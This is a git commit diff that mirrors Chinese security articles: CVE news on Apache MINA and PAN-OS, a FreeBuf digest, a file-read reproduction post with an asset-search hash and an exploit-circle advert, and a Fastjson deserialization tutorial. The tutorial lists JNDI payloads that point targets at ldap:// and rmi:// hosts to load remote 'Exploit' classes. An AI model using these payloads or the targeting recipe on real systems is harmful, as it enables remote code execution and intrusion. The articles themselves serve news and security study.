mirror of
https://github.com/gelusus/wxvl.git
synced 2026-10-29 03:40:51 +00:00
AI猎手:我们用大模型挖到了0day漏洞!【大模型应用实践系列三】、曝9.9分高危SQL注入漏洞!Apache Traffic Control项目遭遇严重安全危机、惊喜开班!系统0day安全-IOT设备漏洞挖掘(第6期)、Apache MINA 存在严重的满分漏洞,可导致RCE、【安全圈】Apache Traffic Control 中的严重 SQL 注入漏洞 CVSS 评级为 9.9 — 立即修补、【CVE-2024-1609】OPPO商城APP存在Webview组件权限提升漏洞致谢公告、赛克安全本周漏洞推送(12.22-12.27)涉及国威IP数字语音系统、黄药师、企企通、快云服务器、一卡通系统漏洞、FreeBuf周报 | AI平台1.29T数据库裸奔;9.9分SQL注入漏洞可获admin权限、Palo Alto防火墙存在高危漏洞,触发无需交互和权限、分享Fastjson反序列化漏洞原理+漏洞复现+实战案例+POC收集、Apache MINA CVE-2024-52046:满分漏洞可通过不安全的序列化实现 RCE、漏洞预警 | SeaCMS海洋影视管理系统远程代码执行漏洞、【漏洞复现】卓软计量业务管理平台image存在任意文件读取漏洞、
This commit is contained in:
1 parent
5db8075739
commit
72a5c1ae16
8 files changed
+1314
-2
No files matched your search
@@ -2212,5 +2212,18 @@
|
||||
"https://mp.weixin.qq.com/s?__biz=MzkwMTQ0NDA1NQ==&mid=2247491905&idx=2&sn=29d6474005e9f8c36a129a215602547f": "漏洞预警 | 圣乔ERP系统任意文件读取漏洞",
|
||||
"https://mp.weixin.qq.com/s?__biz=MzkwMTQ0NDA1NQ==&mid=2247491905&idx=3&sn=ef711aefb5488a75da75a83a07fb4332": "漏洞预警 | 用友U8Cloud SQL注入漏洞",
|
||||
"https://mp.weixin.qq.com/s?__biz=MzkxNTI2NTQxOA==&mid=2247495662&idx=1&sn=fddfa588f4eae694507d64d261b1b6ea": "国家金融监督管理总局印发《银行保险机构数据安全管理办法》",
|
||||
"https://mp.weixin.qq.com/s?__biz=Mzg3OTc0NDcyNQ==&mid=2247493068&idx=1&sn=b13552bac6690f5968cc9e0a6eb6c345": "Palo Alto Networks修复了一个高危PAN-OS漏洞"
|
||||
"https://mp.weixin.qq.com/s?__biz=Mzg3OTc0NDcyNQ==&mid=2247493068&idx=1&sn=b13552bac6690f5968cc9e0a6eb6c345": "Palo Alto Networks修复了一个高危PAN-OS漏洞",
|
||||
"https://mp.weixin.qq.com/s?__biz=MjM5NzE1NjA0MQ==&mid=2651206813&idx=1&sn=d845643474a7eef20e59162ac0682def&chksm=bd2cd13b8a5b582d7518212f69bcddd542d7f74f5fdfa55b27995d5114a8ee63075ac709b8a5&scene=58&subscene=0": "AI猎手:我们用大模型挖到了0day漏洞!【大模型应用实践系列三】",
|
||||
"https://mp.weixin.qq.com/s?__biz=MjM5NTc2MDYxMw==&mid=2458587796&idx=2&sn=206238f85596e153d2d6f3c8f6c40ced&chksm=b18c221e86fbab084789482d7f7860f5df8bd2915739aaf9f0f088cff784d8a4275d5d4ab1aa&scene=58&subscene=0": "曝9.9分高危SQL注入漏洞!Apache Traffic Control项目遭遇严重安全危机",
|
||||
"https://mp.weixin.qq.com/s?__biz=MjM5NTc2MDYxMw==&mid=2458587796&idx=3&sn=df30dee10bc9d3568d5c5d215558f7b2&chksm=b18c221e86fbab083b721e441b38e0af1347d49025ad070bdbe1b2916863c67dab92e68403f3&scene=58&subscene=0": "惊喜开班!系统0day安全-IOT设备漏洞挖掘(第6期)",
|
||||
"https://mp.weixin.qq.com/s?__biz=MzI2NTg4OTc5Nw==&mid=2247521918&idx=1&sn=acf8324d4a36ec4e8d37b16375da9e75&chksm=ea94a714dde32e028400f9b194d97d8affc8b68ef4e2481b9541aa9150a157b01855d8f61440&scene=58&subscene=0": "Apache MINA 存在严重的满分漏洞,可导致RCE",
|
||||
"https://mp.weixin.qq.com/s?__biz=MzIzMzE4NDU1OQ==&mid=2652066971&idx=2&sn=f33a68d33d05344d8693a65a70f992ef&chksm=f36e78dbc419f1cdcdcf32755abea904b5b856bdc3e50b4b246d6fb2c1e03efbf5eba2adf433&scene=58&subscene=0": "【安全圈】Apache Traffic Control 中的严重 SQL 注入漏洞 CVSS 评级为 9.9 — 立即修补",
|
||||
"https://mp.weixin.qq.com/s?__biz=MzUyNzc4Mzk3MQ==&mid=2247494002&idx=1&sn=c0c252a716bcd167e7afd6500d3ad00c&chksm=fa78e83ecd0f612836f61b8c25e63fb35ee8ce654d92ed96b971cbcf000a11f3d8b426c4a1b8&scene=58&subscene=0": "【CVE-2024-1609】OPPO商城APP存在Webview组件权限提升漏洞致谢公告",
|
||||
"https://mp.weixin.qq.com/s?__biz=MzIyNjk0ODYxMA==&mid=2247487545&idx=1&sn=82701065b0b2e49d07c8800023b95016": "赛克安全本周漏洞推送(12.22-12.27)涉及国威IP数字语音系统、黄药师、企企通、快云服务器、一卡通系统漏洞",
|
||||
"https://mp.weixin.qq.com/s?__biz=MjM5NjA0NjgyMA==&mid=2651310927&idx=2&sn=5649fe7d87c68c5f55b3586571a75803": "FreeBuf周报 | AI平台1.29T数据库裸奔;9.9分SQL注入漏洞可获admin权限",
|
||||
"https://mp.weixin.qq.com/s?__biz=MjM5NjA0NjgyMA==&mid=2651310927&idx=3&sn=f5d4155be6237b0c3a66ac895c0755ae": "Palo Alto防火墙存在高危漏洞,触发无需交互和权限",
|
||||
"https://mp.weixin.qq.com/s?__biz=Mzk0Mzc1MTI2Nw==&mid=2247486705&idx=1&sn=860b4533ad361eafd6ebae77dafdbc7e": "分享Fastjson反序列化漏洞原理+漏洞复现+实战案例+POC收集",
|
||||
"https://mp.weixin.qq.com/s?__biz=MzI2NzAwOTg4NQ==&mid=2649793667&idx=3&sn=b07eadcd820da3a03e300e93d797e389": "Apache MINA CVE-2024-52046:满分漏洞可通过不安全的序列化实现 RCE",
|
||||
"https://mp.weixin.qq.com/s?__biz=MzkwMTQ0NDA1NQ==&mid=2247491905&idx=1&sn=666f023e62a2a068803988c773b19572": "漏洞预警 | SeaCMS海洋影视管理系统远程代码执行漏洞",
|
||||
"https://mp.weixin.qq.com/s?__biz=MzU3MjU4MjM3MQ==&mid=2247489257&idx=1&sn=0525d98e188d10ddf89b58d84381d1f0": "【漏洞复现】卓软计量业务管理平台image存在任意文件读取漏洞"
|
||||
}
|
||||
@@ -0,0 +1,49 @@
|
||||
# Apache MINA CVE-2024-52046:满分漏洞可通过不安全的序列化实现 RCE
|
||||
会杀毒的单反狗 军哥网络安全读报 2024-12-28 01:00
|
||||
|
||||
**导****读**
|
||||
|
||||
|
||||
|
||||
Apache 软件基金会 (ASF) 已发布补丁来修复MINA Java 网络应用程序框架中一个最高严重性漏洞,该漏洞可能在特定条件下导致远程代码执行。
|
||||
|
||||

|
||||
|
||||
|
||||
该漏洞编号为CVE-2024-52046,CVSS 评分为 10.0。该漏洞影响版本 2.0.X、2.1.X 和 2.2.X。
|
||||
|
||||
|
||||
项目维护人员在 2024 年 12 月 25 日发布的公告中表示:“Apache MINA 中的 ObjectSerializationDecoder 使用 Java 的本机反序列化协议来处理传入的序列化数据,但缺乏必要的安全检查和防御。”
|
||||
|
||||
|
||||
“此漏洞允许攻击者通过发送特制的恶意序列化数据来利用反序列化过程,从而可能导致远程代码执行(RCE)攻击。”
|
||||
|
||||
|
||||
然而,值得注意的是,只有当“IoBuffer#getObject()”方法与某些类(例如 ProtocolCodecFilter 和 ObjectSerializationCodecFactory)结合调用时,该漏洞才可利用。
|
||||
|
||||
|
||||
Apache 表示:“升级是不够的:您还需要使用三种新方法之一,明确允许解码器在 ObjectSerializationDecoder 实例中接受的类。”
|
||||
|
||||
|
||||
此次披露是在 ASF 修复了 Tomcat(CVE-2024-56337)、Traffic Control(CVE-2024-45387)和 HugeGraph-Server(CVE-2024-43441)的多个漏洞几天后进行的。
|
||||
|
||||
|
||||
本月初,Apache 还修复了 Struts Web 应用程序框架中的一个严重安全漏洞 ( CVE-2024-53677 ),攻击者可利用该漏洞获取远程代码执行。此后已检测到主动利用该漏洞的尝试。
|
||||
|
||||
|
||||
强烈建议这些产品的用户尽快将其安装更新到最新版本,以防范潜在威胁。
|
||||
|
||||
|
||||
新闻链接:
|
||||
|
||||
https://thehackernews.com/2024/12/apache-mina-cve-2024-52046-cvss-100.html
|
||||
|
||||

|
||||
|
||||
扫码关注
|
||||
|
||||
军哥网络安全读报
|
||||
|
||||
**讲述普通人能听懂的安全故事**
|
||||
|
||||
|
||||
@@ -0,0 +1,147 @@
|
||||
# FreeBuf周报 | AI平台1.29T数据库裸奔;9.9分SQL注入漏洞可获admin权限
|
||||
Zicheng FreeBuf 2024-12-28 02:02
|
||||
|
||||

|
||||
|
||||
|
||||
各位 Buffer 周末好,以下是本周「FreeBuf周报」,我们总结推荐了本周的热点资讯、安全事件、一周好文和省心工具,保证大家不错过本周的每一个重点!
|
||||
|
||||
|
||||

|
||||
##
|
||||
|
||||
**热点资讯**
|
||||
|
||||
|
||||
## 1. 账号和密钥明文存储,AI平台1.29T数据库裸奔
|
||||
|
||||
近日,网络安全研究员Jeremiah Fowler透露,一家总部位于英国伦敦的人工智能开发平台Builder.ai,由于数据库配置错误,该平台遭遇了重大数据泄露事件,共计泄露数据超过300万条,1.29TB。
|
||||
|
||||
### 2. AI可一键生成上万种恶意软件变体,88%能规避检测
|
||||
|
||||
网络安全研究人员发现,借助大型语言模型(LLMs),可以大规模生成新型恶意的JavaScript代码变体,这些变体将更难被安全防护设备检测。
|
||||
|
||||
### 3. 特朗普政府2.0:网安政策重大转向,CISA收缩,减少监管
|
||||
|
||||
随着CISA(网络安全和基础设施安全局)的变革、公私合作的加强以及放松管制的承诺,新政府可能会彻底改变美国联邦政府在网络安全领域的角色。
|
||||
|
||||
### 4. Adobe最新漏洞被披露,已有PoC代码流出
|
||||
|
||||
Adobe近期发布了紧急安全更新,针对ColdFusion中的一个关键漏洞,该漏洞已有概念验证(PoC)代码流出。根据周一的公告,这个编号为CVE-2024-53961的漏洞源于路径遍历弱点,影响了Adobe ColdFusion 2023和2021版本,攻击者可借此读取易受攻击服务器上的任意文件。
|
||||
|
||||
### 5. 看不到的尽头,回顾与展望哈以冲突以来的中东网络战
|
||||
|
||||
自 2023 年 10 月以来,以色列和哈马斯之间爆发的冲突助长了中东国家之间的网络攻击,并在全球范围内将多个国家卷入其中。
|
||||
|
||||
|
||||
**安全事件**
|
||||
|
||||
|
||||
### 1. 热门npm包被植入加密挖矿软件,感染目标涉及中国
|
||||
|
||||
近日,安全研究人员调查后发现,臭名昭著的APT组织Earth Koshchei(也被称为APT29或Midnight Blizzard)与一项大规模非法远程桌面协议(RDP)的恶意活动相关。
|
||||
###
|
||||
### 2. 日本航空遭黑客攻击,大量航班延误
|
||||
|
||||
当地时间12月26日7时30分左右,据日本航空公司消息,连接该公司内部与外部的网络设备遭遇网络攻击,导致与外部通信的系统出现故障。日本航空公司方面称,截至当天10时,受网络攻击影响,至少有9个日本国内航班出现延误,最长约1小时,预计影响范围可能会进一步扩大。
|
||||
###
|
||||
### 3. 欧洲航天局被黑客入侵,部署JavaScript代码
|
||||
|
||||
欧洲航天局(ESA)的官方网络商店遭遇黑客入侵,加载用于生成虚假Stripe支付页面的JavaScript代码。
|
||||
###
|
||||
### 4. Windows Defender成黑客武器,可禁用EDR
|
||||
|
||||
安全专家发现了一种复杂的攻击技术,能利用 Windows Defender 应用程序控制 (WDAC) 来禁用 Windows 设备上的端点检测和响应 (EDR) 传感器,攻击者可以此绕过安全检测对系统发动攻击。
|
||||
###
|
||||
### 5. 9.9分的SQL注入漏洞,可获admin权限
|
||||
|
||||
Apache软件基金会(ASF)已发布安全更新,修复了Traffic Control中的一个关键安全漏洞。若此漏洞被成功利用,攻击者便能在数据库中执行任意结构化查询语言(SQL)命令。该SQL注入漏洞被标识为CVE-2024-45387,在CVSS评分系统中获得了9.9分(满分为10分)。
|
||||
##
|
||||
|
||||
**一周好文共读**
|
||||
|
||||
|
||||
## 1. Windows应急响应实战技巧
|
||||
|
||||
为了有效应对Windows系统可能遭遇的安全事件,Windows应急响应指南显得至关重要。本文旨在为安全从业者、系统管理员以及普通Windows用户提供应对紧急安全事件的基本思路和操作方法。遵循本指南的建议,可以在安全事件发生时迅速采取行动,最大限度地减少损失,恢复系统的正常运行,确保数据的安全性和完整性。
|
||||
|
||||
|
||||

|
||||
###
|
||||
### 2. 针对Nacos漏洞猎杀的各种骚姿势
|
||||
|
||||
本文让读者能够从零基础的小白也可以上手打Nacos的nday
|
||||
。主要介绍了NacosExploitGUI
|
||||
自动化工具的使用,以及使用这个工具打nday的手法,以及要是批量漏洞url怎么扫描利用。
|
||||
|
||||
|
||||

|
||||
###
|
||||
### 3. Firefox Animation CVE-2024-9680 漏洞分析
|
||||
|
||||
本文深入分析在 Firefox 131.0.2 中修复的漏洞CVE-2024-9680。这个漏洞被解读为动画时间线中的“use-after-free”问题,且据报道已经在实际攻击中被利用。
|
||||
|
||||
|
||||

|
||||
|
||||
|
||||
**省心工具**
|
||||
|
||||
|
||||
## 1. Clair:一款针对应用程序容器的安全漏洞静态分析工具
|
||||
|
||||
Clair是一款针对应用程序容器的安全漏洞静态分析工具,该项目完全开源,可以帮助广大研究人员针对应用程序容器(包括OCI和Docker)执行安全漏洞静态分析。
|
||||
|
||||
|
||||

|
||||
###
|
||||
### 2. HookCase:一款针对maxOS的逆向工程安全分析工具
|
||||
|
||||
HookCase是一款针对maxOS的逆向工程安全分析工具,广大研究人员可以利用该工具在macOS上或对操作系统本身进行安全调试或执行逆向工程分析。
|
||||
|
||||
|
||||

|
||||
###
|
||||
### 3. 如何使用SkyScalpel在云环境中对JSON策略执行安全分析与处理
|
||||
|
||||
SkyScalpel是一款功能强大开源框架,用于在云环境中解析、混淆、反混淆和检测 JSON 策略。它提供了灵活且高度可配置的机制来处理 JSON 级混淆、IAM 策略转换以及在云安全环境中检测规避混淆技术。
|
||||
|
||||
|
||||

|
||||
|
||||
|
||||
【
|
||||
FreeBuf粉丝交流群招新啦!
|
||||
|
||||
在这里,拓宽网安边界
|
||||
|
||||
甲方安全建设干货;
|
||||
|
||||
乙方最新技术理念;
|
||||
|
||||
全球最新的网络安全资讯;
|
||||
|
||||
群内不定期开启各种抽奖活动;
|
||||
|
||||
FreeBuf盲盒、大象公仔......
|
||||
|
||||
扫码添加小蜜蜂微信回复「加群」,申请加入群聊】
|
||||
|
||||
|
||||

|
||||
|
||||
|
||||

|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
[](https://mp.weixin.qq.com/s?__biz=MjM5NjA0NjgyMA==&mid=2651253272&idx=1&sn=82468d927062b7427e3ca8a912cb2dc7&scene=21#wechat_redirect)
|
||||
|
||||

|
||||
|
||||
|
||||
@@ -0,0 +1,92 @@
|
||||
# Palo Alto防火墙存在高危漏洞,触发无需交互和权限
|
||||
老布 FreeBuf 2024-12-28 02:02
|
||||
|
||||

|
||||
|
||||
|
||||
Palo Alto Networks近日披露,其下一代防火墙中的PAN-OS软件存在一个高危漏洞,编号为CVE-2024-3393。该漏洞允许未经身份验证的攻击者通过发送精心构造的DNS数据包,利用DNS安全特性触发拒绝服务(DoS)状态。若此漏洞被反复利用,可能导致受影响的防火墙重启并进入维护模式。
|
||||
|
||||
|
||||

|
||||
|
||||
|
||||
问题的根源在于PAN-OS的DNS安全特性对异常情况的处理不当。攻击者可通过防火墙的数据平面发送恶意数据包,进而使其崩溃并重启。此漏洞的CVSS评分为8.7(高),意味着其具有较大的破坏潜力。该攻击复杂性低,无需用户交互和权限,且可通过网络远程执行。
|
||||
|
||||
|
||||
该漏洞影响多个版本的PAN-OS:
|
||||
> PAN-OS 11.2:受影响版本低于11.2.3;
|
||||
> PAN-OS 11.1:受影响版本低于11.1.5;
|
||||
> PAN-OS 10.2:受影响版本低于10.2.8,且在维护版本中提供了额外修复;
|
||||
> PAN-OS 10.1:受影响版本低于10.1.14。
|
||||
|
||||
|
||||
|
||||
使用受影响PAN-OS版本的Prisma Access客户也存在风险。Palo Alto Networks确认,在生产环境中已出现该漏洞被利用的情况,攻击者成功触发了由此导致的DoS攻击。
|
||||
|
||||
|
||||
尽管该漏洞不影响机密性或完整性,但对可用性影响很大,所以对依赖这些防火墙进行网络安全保护的组织而言,这是一个关键问题。
|
||||
|
||||
|
||||
Palo Alto Networks已发布以下版本的补丁来解决此问题:
|
||||
> PAN-OS 10.1.14 - h8
|
||||
> PAN-OS 10.2.10 - h12
|
||||
> PAN-OS 11.1.5
|
||||
> PAN-OS 11.2.3
|
||||
|
||||
|
||||
|
||||
强烈建议客户升级到这些版本或更高版本以降低风险。
|
||||
|
||||
|
||||
对于无法立即应用修复的用户,临时解决方案包括禁用DNS安全日志记录,具体步骤如下:
|
||||
|
||||
1. 导航至对象→安全配置文件→反间谍软件→DNS策略;2. 将所有DNS安全类别的“日志严重性”设置为“无”;3. 提交更改,并在应用修复后恢复设置。
|
||||
|
||||
|
||||
使用Palo Alto防火墙的组织应当:
|
||||
|
||||
- 立即应用补丁以保护系统;
|
||||
|
||||
- 若无法打补丁,则实施推荐的临时解决方案;
|
||||
|
||||
- 监控防火墙行为,查看是否有意外重启或进入维护模式的情况;
|
||||
|
||||
- 定期查看安全通告并保持软件版本更新。
|
||||
|
||||
这一漏洞凸显了及时进行修补管理以及实施强大监控实践的重要性,只有这样才能保护网络基础设施免受新出现威胁的攻击。
|
||||
|
||||
|
||||
【
|
||||
FreeBuf粉丝交流群招新啦!
|
||||
|
||||
在这里,拓宽网安边界
|
||||
|
||||
甲方安全建设干货;
|
||||
|
||||
乙方最新技术理念;
|
||||
|
||||
全球最新的网络安全资讯;
|
||||
|
||||
群内不定期开启各种抽奖活动;
|
||||
|
||||
FreeBuf盲盒、大象公仔......
|
||||
|
||||
扫码添加小蜜蜂微信回复「加群」,申请加入群聊】
|
||||
|
||||
|
||||

|
||||
|
||||
|
||||

|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
[](https://mp.weixin.qq.com/s?__biz=MjM5NjA0NjgyMA==&mid=2651253272&idx=1&sn=82468d927062b7427e3ca8a912cb2dc7&scene=21#wechat_redirect)
|
||||
|
||||

|
||||
|
||||
@@ -0,0 +1,129 @@
|
||||
# 【漏洞复现】卓软计量业务管理平台image存在任意文件读取漏洞
|
||||
xiachuchunmo 银遁安全团队 2024-12-27 23:02
|
||||
|
||||
**需要EDU SRC邀请码的师傅可以私聊后台,免费赠送EDU SRC邀请码(邀请码管够)**
|
||||
|
||||

|
||||
|
||||
|
||||
**漏洞简介**
|
||||
|
||||
|
||||

|
||||
|
||||
|
||||
**卓软计量业务管理平台是一款专为计量测试检定机构设计的信息化管理系统9。随着社会经济的不断发展,计量测试检定机构面临的管理规范化、技术水平、检测效率、服务能力以及行业竞争等问题日益增多。卓软计量业务管理平台旨在通过信息化手段,帮助机构实现业务管理的自动化、规范化和高效化,提升管理能力、服务能力和降低运营成本。卓软计量业务管理平台 image存在任意文件读取漏洞******
|
||||
|
||||

|
||||
|
||||
|
||||
**资产测绘**
|
||||
|
||||
|
||||

|
||||
|
||||
```
|
||||
icon_hash="-334571363"
|
||||
```
|
||||
|
||||

|
||||
|
||||
|
||||

|
||||
|
||||
|
||||
**漏洞复现**
|
||||
|
||||
|
||||

|
||||
|
||||
|
||||
**读取web.config文件测试**
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
|
||||
**Nuclei测试**
|
||||
|
||||
|
||||

|
||||
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
|
||||
**圈子介绍**
|
||||
|
||||
|
||||

|
||||
|
||||
|
||||
高
|
||||
质量漏洞利用工具分享社区,每天至少更新一个0Day/Nday/1day及对应漏洞的批量利用工具,团队内部POC分享,星球不定时更新内外网攻防渗透技巧以及最新学习研究成果等。
|
||||
如果师傅还是新手,内部的交流群有很多行业老师傅可以为你解答学习上的疑惑,内部分享的POC可以助你在Edu和补天等平台获得一定的排名。
|
||||
如果师傅已经
|
||||
是老手了,有一个高质量的LD库也能为你的工作提高极大的效率,实战或者攻防中有需要的Day我们也可以通过自己的途径帮你去寻找。
|
||||
|
||||
**【圈子服务】**
|
||||
|
||||
1,一年至少365+漏洞Poc及对应漏洞批量利用工具
|
||||
|
||||
2,Fofa永久高级会员
|
||||
|
||||
3,24HVV内推途径
|
||||
|
||||
4,Cmd5解密,各种漏洞利用工具及后续更新,渗透工具、文档资源分享
|
||||
|
||||
5,内部漏洞
|
||||
库情报分享
|
||||
(目前已有2000+
|
||||
poc,会定期更新,包括部分未公开0/1day)
|
||||
|
||||
6,加入内部微信群,认识更多的行业朋友(群里有100+C**D通用证书师傅),遇到任何技术问题都可以进行快速提问、讨论交流;
|
||||
|
||||
|
||||
圈子目前价格为**129元**
|
||||
**(交个朋友啦!)**
|
||||
,现在星球有近900+位师傅相信并选择加入我们,人数满1000
|
||||
**涨价至149**,圈子每天都会更新内容。
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
|
||||
**圈子近期更新LD库**
|
||||
|
||||
|
||||

|
||||
|
||||
|
||||

|
||||
|
||||
**每篇文章均有详细且完整的手工WriteUp****(跟其他只有POC,没有验证截图的不一样)**
|
||||
|
||||

|
||||
|
||||
**星球提供免费F**a**
|
||||
**CNVD通用证书**
|
||||
**一起愉快的刷分**
|
||||
**欢迎加入“安云安全”EDU团队**
|
||||
|
||||
|
||||

|
||||
|
||||
|
||||
**免责声明**
|
||||
|
||||
|
||||

|
||||
|
||||
|
||||

|
||||
|
||||
文章所涉及内容,仅供安全研究与教学之用,由于传播、利用本文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,作者不为此承担任何责任。
|
||||
|
||||
@@ -0,0 +1,828 @@
|
||||
# 分享Fastjson反序列化漏洞原理+漏洞复现+实战案例+POC收集
|
||||
原创 神农Sec 神农Sec 2024-12-28 01:05
|
||||
|
||||
# 扫码加圈子获内部资料网络安全领域各种资源,学习文档,以及工具分享、前沿信息分享、POC、EXP分享。不定期分享各种好玩的项目及好用的工具,欢迎关注。
|
||||
|
||||

|
||||
|
||||
****
|
||||
**0x1 前言**
|
||||
|
||||
|
||||
哈喽师傅们,这篇文章自己写之前先是看了十几篇的Fastjson反序列化漏洞相关的文章,自己也是先学习了一遍,然后才写的这篇文章,这篇文章主要是分享Fastjson反序列化漏洞原理+漏洞复现+实战案例+POC收集,然后从不同的方面去介绍和利用Fastjson漏洞,特别是在收集POC的过程中,需要我们自己去验证它。还有就是复现相关Fastjson漏洞的时候对于我们本地的一个Java和jdk环境要求比较严格,最后面呢是以之前挖EDUSRC的一个学校的案例来给师傅们分享下实战中的Fastjson漏洞怎么利用。
|
||||
|
||||

|
||||
|
||||
|
||||
|
||||
|
||||

|
||||
|
||||
****
|
||||
**0x2 Fastjson反序列化漏洞原理及介绍**
|
||||
###
|
||||
### 一、浅谈
|
||||
|
||||
Fastjson反序列化漏洞也是一个知名度比较高的Java反序列化漏洞,他是阿里巴巴的开源库,下面我将主要带大家了解Fastjson反序列化漏洞的原理以及相关知识点的内容,然后带师傅们去利用rmi服务去复现这个Fastjson反序列化漏洞。
|
||||
|
||||
### 二、什么是json?
|
||||
|
||||
json是一种数据格式,对于我们互联网来说,我们服务器和客户端有大量的数据需要进行传输。以前通用的方式是xml,但是xml数据体重太大,效率低下,所以就有了另外一种数据格式,叫json。
|
||||
|
||||
**json一共有两种体现:**
|
||||
- json对象、json数组
|
||||
|
||||
- json对象:json本身是一个字符串,{建:值, 建:值}
|
||||
|
||||
举例:
|
||||
```
|
||||
```
|
||||
|
||||
|
||||
|
||||
### 三、Fastjson概述
|
||||
|
||||
FastJson是啊里巴巴的的开源库,用于对JSON格式的数据进行解析和打包。其实简单的来说就是处理json格式的数据的。例如将json转换成一个类。或者是将一个类转换成一段json数据。
|
||||
|
||||
Fastjson 是一个 Java 库,提供了Java 对象与 JSON 相互转换。
|
||||
- **toJSONString()方法**
|
||||
:(序列化)将json对象转换成JSON字符串;
|
||||
|
||||
- **parseObject()方法**
|
||||
:(反序列化)将JSON字符串转换成json对象。
|
||||
|
||||
使用方式:
|
||||
|
||||
```
|
||||
//序列化
|
||||
String text = JSON.toJSONString(obj);
|
||||
//反序列化
|
||||
VO vo = JSON.parse(); //解析为JSONObject类型或者JSONArray类型
|
||||
VO vo = JSON.parseObject("{...}"); //JSON文本解析成JSONObject类型
|
||||
VO vo = JSON.parseObject("{...}", VO.class); //JSON文本解析成VO.class类
|
||||
```
|
||||
|
||||
###
|
||||
### 四、Fastjson漏洞原理
|
||||
|
||||
fastjson为了读取并判断传入的值是什么类型,增加了autotype机制导致了漏洞产生。
|
||||
|
||||
由于要获取json数据详细类型,每次都需要读取@type
|
||||
,而@type可以指定反序列化任意类调用其set
|
||||
,get
|
||||
,is
|
||||
方法,并且由于反序列化的特性,我们可以通过目标类的set方法自由的设置类的属性值。
|
||||
|
||||
那么**攻击者只要准备rmi服务和web服务,将rmi绝对路径注入到lookup方法中,受害者JNDI接口会指向攻击者控制rmi服务器,JNDI接口从攻击者控制的web服务器远程加载恶意代码并执行,形成RCE。**
|
||||
|
||||
【JNDI提供了查找和访问各种命名和目录服务的通用、统一的接口。支持的服务:DNS,LDAP,RMI,CORBA等】
|
||||
|
||||
关于JNDI注入,大家可以看我之前写的一篇关于log4j的JNDI注入漏洞的详细介绍:
|
||||
|
||||
https://blog.csdn.net/SENMINGya/article/details/136819823?spm=1001.2014.3001.5502
|
||||
###
|
||||
### 五、Fastjson漏洞利用详解
|
||||
|
||||
1、攻击者(我们)访问存在fastjson漏洞的目标靶机网站,通过burpsuite抓包改包,以json格式添加com.sun.rowset.JdbcRowSetImpl恶意类信息发送给目标机。
|
||||
|
||||
2、存在漏洞的靶机对json反序列化时候,会加载执行我们构造的恶意信息(访问rmi服务器),靶机服务器就会向rmi服务器请求待执行的命令。也就是靶机服务器问rmi服务器,(靶机服务器)需要执行什么命令啊?
|
||||
|
||||
3、rmi 服务器请求加载远程机器的class(这个远程机器是我们搭建好的恶意站点,提前将漏洞利用的代码编译得到.class文件,并上传至恶意站点),得到攻击者(我们)构造好的命令(ping dnslog或者创建文件或者反弹shell啥的)
|
||||
|
||||
4、rmi将远程加载得到的class(恶意代码),作为响应返回给靶机服务器。
|
||||
|
||||
5、靶机服务器执行了恶意代码,被攻击者成功利用。
|
||||
|
||||
这里给大家看看红队大佬的图解,希望对大家理解fastjson漏洞原理的利用有帮助。
|
||||
|
||||

|
||||
|
||||
|
||||
|
||||
|
||||

|
||||
|
||||
****
|
||||
**0x3 Fastjson漏洞POC收集**
|
||||
|
||||
### 一、Fastjson 1.2.24版本
|
||||
|
||||
**TemplatesImpl 反序列化**
|
||||
|
||||
最终Poc
|
||||
为
|
||||
```
|
||||
{
|
||||
"@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
|
||||
"_bytecodes": ["恶意字节码"],
|
||||
"_name": "test",
|
||||
"_tfactory": {},
|
||||
"_outputProperties": {},
|
||||
}
|
||||
```
|
||||
|
||||
|
||||
**JdbcRowSetImpl 反序列化**
|
||||
|
||||
最终Poc
|
||||
为
|
||||
```
|
||||
{
|
||||
"@type":"com.sun.rowset.JdbcRowSetImpl",
|
||||
"dataSourceName":"ldap://127.0.0.1:1234/Exploit",
|
||||
"autoCommit":true
|
||||
}
|
||||
```
|
||||
|
||||
### 二、Fastjson 1.2.25版本
|
||||
|
||||
附上Poc
|
||||
```
|
||||
{
|
||||
"@type":"[com.sun.rowset.JdbcRowSetImpl;",
|
||||
"dataSourceName":"ldap://127.0.0.1:1234/Exploit",
|
||||
"autoCommit":true
|
||||
}
|
||||
或
|
||||
{
|
||||
"a":{
|
||||
"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;",
|
||||
"dataSourceName":"rmi://test.com:9999/TouchFile",
|
||||
"autoCommit":true
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
### 三、Fastjson 1.2.42版本
|
||||
|
||||
最终Poc
|
||||
,添加两个类描述符
|
||||
```
|
||||
{
|
||||
"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;",
|
||||
"dataSourceName":"ldap://127.0.0.1:1234/Exploit",
|
||||
"autoCommit":true
|
||||
}
|
||||
```
|
||||
|
||||
### 四、Fastjson 1.2.43版本
|
||||
|
||||
附上poc
|
||||
```
|
||||
{
|
||||
"@type":"[com.sun.rowset.JdbcRowSetImpl"[,
|
||||
{"dataSourceName":"ldap://127.0.0.1:1234/Exploit",
|
||||
"autoCommit":true
|
||||
}
|
||||
或
|
||||
{
|
||||
"b":{
|
||||
"@type":"[com.sun.rowset.JdbcRowSetImpl"[{,
|
||||
"dataSourceName":"rmi://test.com:9999/TouchFile",
|
||||
"autoCommit":true
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
### 五、Fastjson 1.2.45版本
|
||||
|
||||
分析版本来到fastjson1.2.45
|
||||
,此版本升级后,存在一个黑名单匹配绕过
|
||||
,绕过类
|
||||
|
||||
org.apache.ibatis.datasource.jndi.JndiDataSourceFactory
|
||||
|
||||
利用条件如下
|
||||
1. 目标服务端存在mybatis
|
||||
的jar包。
|
||||
|
||||
1. 版本需为 3.x.x ~ 3.5.0
|
||||
|
||||
1. autoTypeSupport属性为true才能使用。(fastjson >= 1.2.25默认为false)
|
||||
|
||||
Poc
|
||||
如下
|
||||
```
|
||||
{
|
||||
"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory",
|
||||
"properties":{
|
||||
"data_source":"ldap://127.0.0.1:1234/Exploit"
|
||||
}
|
||||
}
|
||||
或
|
||||
{
|
||||
"b":{
|
||||
"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory",
|
||||
"properties":{"data_source":"ldap://localhost:1389/Exploit"}
|
||||
}
|
